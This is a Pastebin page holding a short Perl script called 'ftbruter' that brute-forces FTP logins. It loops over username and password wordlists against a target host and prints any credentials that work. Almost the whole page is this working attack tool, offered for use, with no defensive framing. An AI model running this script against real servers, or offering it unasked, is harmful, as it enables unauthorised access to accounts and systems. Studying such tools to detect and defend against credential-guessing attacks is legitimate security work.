87aCk_X

Ftp brute force

Sep 29th, 2013
259
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. use Net::FTP;
  4.  
  5. system('cls');
  6.  
  7. print<<ftbruter;
  8.  
  9. ======================================================
  10. _____  __ ___.                 __          v1.0
  11. _/ ____\\/  |\\_ |_________ __ ___/  |_  ___________
  12. \\   __\\\\   __\\ __ \\_  __ \\  |  \\   __\\/ __ \\_  __ \\
  13. |  |   |  | | \\_\\ \\  | \\/  |  /|  | \\  ___/|  | \\/
  14. |__|   |__| |___  /__|  |____/ |__|  \\___  >__|
  15. \\/                       \\/
  16. ======================================================
  17. ======================================================
  18. ftbruter
  19.  
  20. $host=$ARGV[0]|| die
  21. "\n USE: ftbruter <host>\n Ex: ./ftbruter.pl 10.0.0.1 \n";
  22.  
  23. open(USUARIOS,"< ./users.txt") or die "users.txt not found\n";
  24. chomp(my @user = <USUARIOS>);
  25.  
  26. open(SENHAS,"< ./pass.txt") or die "pass.txt not found\n";
  27. chomp(my @passs = <SENHAS>);
  28.  
  29. foreach(sort @user){
  30. foreach my $pass (sort @passs){
  31.  
  32. my $f = Net::FTP->new("$host",
  33. Debug => 1,
  34. Passive=>0) or die "FTP server fail connection!!\n";
  35.  
  36. if ($f->login($_,$pass)){
  37. print "\t\n";
  38. print "[+]WOOOW BRUTE-FORCE SUCCCESS!!!!\n\n";
  39. print "[!]FTP-server: $host\n";
  40. print "[!]FTP-user: $_\n";
  41. print "[!]FTP-pass: $pass\n";
  42. print "\n\n";
  43. }
  44. }
  45. }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×